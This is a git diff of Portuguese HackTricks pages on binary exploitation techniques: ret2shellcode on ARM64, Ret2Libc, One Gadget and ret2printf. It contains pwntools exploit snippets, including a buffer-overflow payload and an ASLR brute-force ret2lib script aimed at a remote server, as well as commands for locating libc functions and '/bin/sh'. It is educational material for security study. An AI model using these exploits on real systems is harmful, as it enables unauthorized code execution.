<figure><img src="../../.gitbook/assets/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -162,7 +162,7 @@ Também é possível encontrar o gadget **`br x0`** na função **`do_stuff`**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Vamos usar esse gadget para pular para ele porque o binário é compilado **SEM PIE**. Usando um padrão, é possível ver que o **deslocamento do estouro de buffer é 80**, então o exploit seria:
|
Usaremos esse gadget para pular para ele porque o binário é compilado **SEM PIE.** Usando um padrão, é possível ver que o **offset do buffer overflow é 80**, então o exploit seria:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -178,16 +178,16 @@ p.sendline(payload)
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Se em vez de `fgets` fosse usado algo como **`read`**, teria sido possível contornar o PIE também **apenas sobrescrevendo os últimos 2 bytes do endereço de retorno** para retornar à instrução `br x0;` sem precisar saber o endereço completo.\
|
Se em vez de `fgets` fosse usado algo como **`read`**, seria possível contornar o PIE também **apenas sobrescrevendo os últimos 2 bytes do endereço de retorno** para retornar à instrução `br x0;` sem precisar saber o endereço completo.\
|
||||||
Com `fgets` não funciona porque **adiciona um byte nulo (0x00) no final**.
|
Com `fgets` isso não funciona porque **adiciona um byte nulo (0x00) no final**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Protections
|
## Proteções
|
||||||
|
|
||||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se a pilha não for executável, isso não ajudará, pois precisamos colocar o shellcode na pilha e pular para executá-lo.
|
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se a pilha não for executável, isso não ajudará, pois precisamos colocar o shellcode na pilha e pular para executá-lo.
|
||||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Isso pode dificultar encontrar uma instrução para pular para esp ou qualquer outro registro.
|
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Esses podem dificultar a localização de uma instrução para pular para esp ou qualquer outro registrador.
|
||||||
|
|
||||||
## References
|
## Referências
|
||||||
|
|
||||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
|
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
|
||||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
|
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
|
||||||
|
@ -198,11 +198,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -6,47 +6,49 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **Informações Básicas**
|
## **Informações Básicas**
|
||||||
|
|
||||||
A essência do **Ret2Libc** é redirecionar o fluxo de execução de um programa vulnerável para uma função dentro de uma biblioteca compartilhada (por exemplo, **system**, **execve**, **strcpy**) em vez de executar shellcode fornecido pelo atacante na pilha. O atacante cria um payload que modifica o endereço de retorno na pilha para apontar para a função da biblioteca desejada, ao mesmo tempo que organiza para que quaisquer argumentos necessários sejam configurados corretamente de acordo com a convenção de chamada.
|
A essência do **Ret2Libc** é redirecionar o fluxo de execução de um programa vulnerável para uma função dentro de uma biblioteca compartilhada (por exemplo, **system**, **execve**, **strcpy**) em vez de executar shellcode fornecido pelo atacante na pilha. O atacante cria um payload que modifica o endereço de retorno na pilha para apontar para a função da biblioteca desejada, enquanto também organiza para que quaisquer argumentos necessários sejam configurados corretamente de acordo com a convenção de chamada.
|
||||||
|
|
||||||
### **Passos de Exemplo (simplificados)**
|
### **Exemplo de Passos (simplificado)**
|
||||||
|
|
||||||
* Obter o endereço da função a ser chamada (por exemplo, system) e o comando a ser chamado (por exemplo, /bin/sh)
|
* Obtenha o endereço da função a ser chamada (por exemplo, system) e o comando a ser chamado (por exemplo, /bin/sh)
|
||||||
* Gerar uma cadeia ROP para passar o primeiro argumento apontando para a string de comando e o fluxo de execução para a função
|
* Gere uma cadeia ROP para passar o primeiro argumento apontando para a string do comando e o fluxo de execução para a função
|
||||||
|
|
||||||
## Encontrando os endereços
|
## Encontrando os endereços
|
||||||
|
|
||||||
* Supondo que a `libc` usada seja a do computador atual, você pode encontrar onde ela será carregada na memória com:
|
* Supondo que a `libc` utilizada seja a da máquina atual, você pode encontrar onde ela será carregada na memória com:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
||||||
```
|
```
|
||||||
{% Se você quiser verificar se o ASLR está alterando o endereço da libc, você pode fazer: %}
|
{% endcode %}
|
||||||
|
|
||||||
|
Se você quiser verificar se o ASLR está mudando o endereço da libc, você pode fazer:
|
||||||
```bash
|
```bash
|
||||||
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
|
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
|
||||||
```
|
```
|
||||||
* Sabendo qual libc está sendo usada, também é possível encontrar o deslocamento para a função `system` com:
|
* Sabendo a libc utilizada, também é possível encontrar o offset para a função `system` com:
|
||||||
```bash
|
```bash
|
||||||
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
||||||
```
|
```
|
||||||
* Sabendo qual libc está sendo usada, também é possível encontrar o deslocamento para a função da string `/bin/sh` com:
|
* Sabendo a libc utilizada, também é possível encontrar o deslocamento para a string `/bin/sh` com:
|
||||||
```bash
|
```bash
|
||||||
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
||||||
```
|
```
|
||||||
### Usando gdb-peda / GEF
|
### Usando gdb-peda / GEF
|
||||||
|
|
||||||
Ao saber qual libc está sendo usada, também é possível usar Peda ou GEF para obter o endereço da função **system**, da função **exit** e da string **`/bin/sh`**:
|
Sabendo a libc utilizada, também é possível usar Peda ou GEF para obter o endereço da função **system**, da função **exit** e da string **`/bin/sh`** :
|
||||||
```bash
|
```bash
|
||||||
p system
|
p system
|
||||||
p exit
|
p exit
|
||||||
|
@ -60,39 +62,39 @@ Aqui você pode encontrar **exatamente onde a libc está carregada** dentro do p
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (853).png>)
|
![](<../../../.gitbook/assets/image (853).png>)
|
||||||
|
|
||||||
Neste caso, ela está carregada em **0xb75dc000** (Este será o endereço base da libc)
|
Neste caso, está carregada em **0xb75dc000** (Este será o endereço base da libc)
|
||||||
|
|
||||||
## Libc desconhecida
|
## Libc desconhecida
|
||||||
|
|
||||||
Pode ser possível que você **não saiba qual libc a binário está carregando** (porque pode estar localizada em um servidor onde você não tem acesso). Nesse caso, você poderia abusar da vulnerabilidade para **vazar alguns endereços e descobrir qual biblioteca libc** está sendo usada:
|
Pode ser possível que você **não saiba qual libc o binário está carregando** (porque pode estar localizado em um servidor onde você não tem acesso). Nesse caso, você poderia abusar da vulnerabilidade para **vazar alguns endereços e descobrir qual biblioteca libc** está sendo usada:
|
||||||
|
|
||||||
{% content-ref url="rop-leaking-libc-address/" %}
|
{% content-ref url="rop-leaking-libc-address/" %}
|
||||||
[rop-leaking-libc-address](rop-leaking-libc-address/)
|
[rop-leaking-libc-address](rop-leaking-libc-address/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
E você pode encontrar um modelo do pwntools para isso em:
|
E você pode encontrar um template do pwntools para isso em:
|
||||||
|
|
||||||
{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %}
|
{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %}
|
||||||
[rop-leaking-libc-template.md](rop-leaking-libc-address/rop-leaking-libc-template.md)
|
[rop-leaking-libc-template.md](rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Conheça a libc com 2 offsets
|
### Conhecendo a libc com 2 offsets
|
||||||
|
|
||||||
Verifique a página [https://libc.blukat.me/](https://libc.blukat.me/) e use um **par de endereços** de funções dentro da libc para descobrir a **versão utilizada**.
|
Verifique a página [https://libc.blukat.me/](https://libc.blukat.me/) e use um **casal de endereços** de funções dentro da libc para descobrir a **versão utilizada**.
|
||||||
|
|
||||||
## Bypassing ASLR em 32 bits
|
## Contornando ASLR em 32 bits
|
||||||
|
|
||||||
Esses ataques de força bruta são **úteis apenas para sistemas de 32 bits**.
|
Esses ataques de força bruta são **úteis apenas para sistemas de 32 bits**.
|
||||||
|
|
||||||
* Se o exploit for local, você pode tentar forçar a base de endereço da libc (útil para sistemas de 32 bits):
|
* Se o exploit for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits):
|
||||||
```python
|
```python
|
||||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||||
```
|
```
|
||||||
* Ao atacar um servidor remoto, você pode tentar **forçar o endereço da função `libc` `usleep`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demorar 10s extras para responder**, você encontrou o endereço dessa função.
|
* Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor levar 10s a mais para responder**, você encontrou o endereço dessa função.
|
||||||
|
|
||||||
## One Gadget
|
## One Gadget
|
||||||
|
|
||||||
Execute um shell apenas pulando para **um** endereço específico **no** `libc`:
|
Execute um shell apenas pulando para **um** **endereço** específico na libc:
|
||||||
|
|
||||||
{% content-ref url="one-gadget.md" %}
|
{% content-ref url="one-gadget.md" %}
|
||||||
[one-gadget.md](one-gadget.md)
|
[one-gadget.md](one-gadget.md)
|
||||||
|
@ -100,7 +102,7 @@ Execute um shell apenas pulando para **um** endereço específico **no** `libc`:
|
||||||
|
|
||||||
## Exemplo de Código x86 Ret2lib
|
## Exemplo de Código x86 Ret2lib
|
||||||
|
|
||||||
Neste exemplo, o brute-force do ASLR está integrado no código e o binário vulnerável está localizado em um servidor remoto:
|
Neste exemplo, a força bruta do ASLR está integrada no código e o binário vulnerável está localizado em um servidor remoto:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -116,7 +118,7 @@ payload = 'A'*0x20010 + p
|
||||||
c.send(payload)
|
c.send(payload)
|
||||||
c.interactive()
|
c.interactive()
|
||||||
```
|
```
|
||||||
## Exemplo de Código x64 Ret2lib
|
## x64 Ret2lib Exemplo de Código
|
||||||
|
|
||||||
Verifique o exemplo em:
|
Verifique o exemplo em:
|
||||||
|
|
||||||
|
@ -124,11 +126,11 @@ Verifique o exemplo em:
|
||||||
[..](../)
|
[..](../)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Exemplo ARM64 Ret2lib
|
## Exemplo Ret2lib ARM64
|
||||||
|
|
||||||
No caso do ARM64, a instrução ret salta para onde o registro x30 está apontando e não para onde o registro de pilha está apontando. Portanto, é um pouco mais complicado.
|
No caso do ARM64, a instrução ret salta para onde o registrador x30 está apontando e não para onde o registrador da pilha está apontando. Portanto, é um pouco mais complicado.
|
||||||
|
|
||||||
Também no ARM64, uma instrução faz o que a instrução faz (não é possível pular no meio das instruções e transformá-las em novas).
|
Além disso, no ARM64, uma instrução faz o que a instrução faz (não é possível saltar no meio das instruções e transformá-las em novas).
|
||||||
|
|
||||||
Verifique o exemplo em:
|
Verifique o exemplo em:
|
||||||
|
|
||||||
|
@ -138,7 +140,7 @@ Verifique o exemplo em:
|
||||||
|
|
||||||
## Ret-into-printf (ou puts)
|
## Ret-into-printf (ou puts)
|
||||||
|
|
||||||
Isso permite **vazar informações do processo** chamando `printf`/`puts` com alguns dados específicos colocados como argumento. Por exemplo, colocar o endereço de `puts` na GOT em uma execução de `puts` irá **vazar o endereço de `puts` na memória**.
|
Isso permite **vazar informações do processo** chamando `printf`/`puts` com alguns dados específicos colocados como argumento. Por exemplo, colocar o endereço de `puts` no GOT em uma execução de `puts` irá **vazar o endereço de `puts` na memória**.
|
||||||
|
|
||||||
## Ret2printf
|
## Ret2printf
|
||||||
|
|
||||||
|
@ -148,17 +150,32 @@ Isso basicamente significa abusar de um **Ret2lib para transformá-lo em uma vul
|
||||||
[format-strings](../../format-strings/)
|
[format-strings](../../format-strings/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Outros Exemplos e Referências
|
## Outros Exemplos & referências
|
||||||
|
|
||||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
||||||
* Ret2lib, dado um vazamento para o endereço de uma função na libc, usando um gadget
|
* Ret2lib, dado um leak para o endereço de uma função na libc, usando um gadget
|
||||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||||
* 64 bits, ASLR ativado mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts da GOT e um gadget ROP para chamar `system('/bin/sh')`
|
* 64 bits, ASLR habilitado, mas sem PIE, o primeiro passo é preencher um overflow até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts para vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')`
|
||||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
||||||
* 64 bits, ASLR ativado, sem canário, estouro de pilha em main a partir de uma função filha. Gadget ROP para chamar puts e vazar o endereço de puts da GOT e então chamar um gadget.
|
* 64 bits, ASLR habilitado, sem canário, overflow de pilha na função principal de uma função filha. Gadget ROP para chamar puts para vazar o endereço de puts do GOT e então chamar um gadget.
|
||||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
|
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
|
||||||
* 64 bits, sem pie, sem canário, sem relro, nx. Usa a função write para vazar o endereço de write (libc) e chama um gadget.
|
* 64 bits, sem pie, sem canário, sem relro, nx. Usa a função write para vazar o endereço de write (libc) e chama um gadget.
|
||||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
|
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
|
||||||
* Usa uma string de formato para vazar o canário da pilha e um estouro de buffer para chamar o sistema (está na GOT) com o endereço de `/bin/sh`.
|
* Usa uma string de formato para vazar o canário da pilha e um buffer overflow para chamar system (está no GOT) com o endereço de `/bin/sh`.
|
||||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
|
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
|
||||||
* 32 bits, sem relro, sem canário, nx, pie. Abusa de um mau indexador para vazar endereços de libc e heap da pilha. Abusa do estouro de buffer para fazer um ret2lib chamando `system('/bin/sh')` (o endereço do heap é necessário para contornar uma verificação).
|
* 32 bits, sem relro, sem canário, nx, pie. Abusa de um indexação ruim para vazar endereços da libc e heap da pilha. Abusa do buffer overflow para fazer um ret2lib chamando `system('/bin/sh')` (o endereço da heap é necessário para contornar uma verificação).
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -6,29 +6,29 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informação Básica
|
## Informações Básicas
|
||||||
|
|
||||||
[**One Gadget**](https://github.com/david942j/one\_gadget) permite obter um shell em vez de usar **system** e **"/bin/sh". One Gadget** irá encontrar dentro da biblioteca libc alguma maneira de obter um shell (`execve("/bin/sh")`) usando apenas um **endereço**.\
|
[**One Gadget**](https://github.com/david942j/one\_gadget) permite obter um shell em vez de usar **system** e **"/bin/sh". One Gadget** encontrará dentro da biblioteca libc alguma forma de obter um shell (`execve("/bin/sh")`) usando apenas um **endereço**.\
|
||||||
No entanto, normalmente existem algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL`. Como você controla os valores dentro do **RSP**, basta enviar mais valores NULL para evitar a restrição.
|
No entanto, normalmente existem algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL`. Como você controla os valores dentro do **RSP**, você só precisa enviar mais alguns valores NULL para que a restrição seja evitada.
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (754).png>)
|
![](<../../../.gitbook/assets/image (754).png>)
|
||||||
```python
|
```python
|
||||||
ONE_GADGET = libc.address + 0x4526a
|
ONE_GADGET = libc.address + 0x4526a
|
||||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||||
```
|
```
|
||||||
Para o endereço indicado pelo One Gadget, você precisa **adicionar o endereço base onde o `libc`** está carregado.
|
Para o endereço indicado pelo One Gadget, você precisa **adicionar o endereço base onde `libc`** está carregado.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
One Gadget é uma **grande ajuda para técnicas de Arbitrary Write 2 Exec** e pode **simplificar as cadeias ROP** pois você só precisa chamar um endereço (e atender aos requisitos).
|
One Gadget é uma **grande ajuda para técnicas de Arbitrary Write 2 Exec** e pode **simplificar ROP** **chains** já que você só precisa chamar um endereço (e cumprir os requisitos).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### ARM64
|
### ARM64
|
||||||
|
@ -37,24 +37,24 @@ O repositório do github menciona que **ARM64 é suportado** pela ferramenta, ma
|
||||||
|
|
||||||
## Angry Gadget
|
## Angry Gadget
|
||||||
|
|
||||||
Do [**repositório do github**](https://github.com/ChrisTheCoolHut/angry\_gadget): Inspirado pelo [OneGadget](https://github.com/david942j/one\_gadget) esta ferramenta é escrita em python e usa [angr](https://github.com/angr/angr) para testar restrições para gadgets executando `execve('/bin/sh', NULL, NULL)`\
|
Do [**repositório do github**](https://github.com/ChrisTheCoolHut/angry\_gadget): Inspirado pelo [OneGadget](https://github.com/david942j/one\_gadget), esta ferramenta é escrita em python e usa [angr](https://github.com/angr/angr) para testar restrições para gadgets executando `execve('/bin/sh', NULL, NULL)`\
|
||||||
Se você já testou todos os gadgets do OneGadget, o Angry Gadget oferece muito mais com restrições complicadas para tentar!
|
Se você ficou sem gadgets para tentar do OneGadget, Angry Gadget oferece muito mais com restrições complicadas para tentar!
|
||||||
```bash
|
```bash
|
||||||
pip install angry_gadget
|
pip install angry_gadget
|
||||||
|
|
||||||
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
|
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -46,11 +46,11 @@ Criando um padrão com **`pattern create 200`**, usando-o e verificando o offset
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Dando uma olhada na função main desmontada, podemos ver que gostaríamos de **pular** para a instrução que pula para **`printf`** diretamente, cujo offset de onde o binário é carregado é **`0x860`**:
|
Dando uma olhada na função principal desmontada, podemos ver que gostaríamos de **pular** para a instrução que pula para **`printf`** diretamente, cujo offset de onde o binário é carregado é **`0x860`**:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Encontrar sistema e string `/bin/sh`
|
### Encontrar a string do sistema e `/bin/sh`
|
||||||
|
|
||||||
Como o ASLR está desativado, os endereços sempre serão os mesmos:
|
Como o ASLR está desativado, os endereços sempre serão os mesmos:
|
||||||
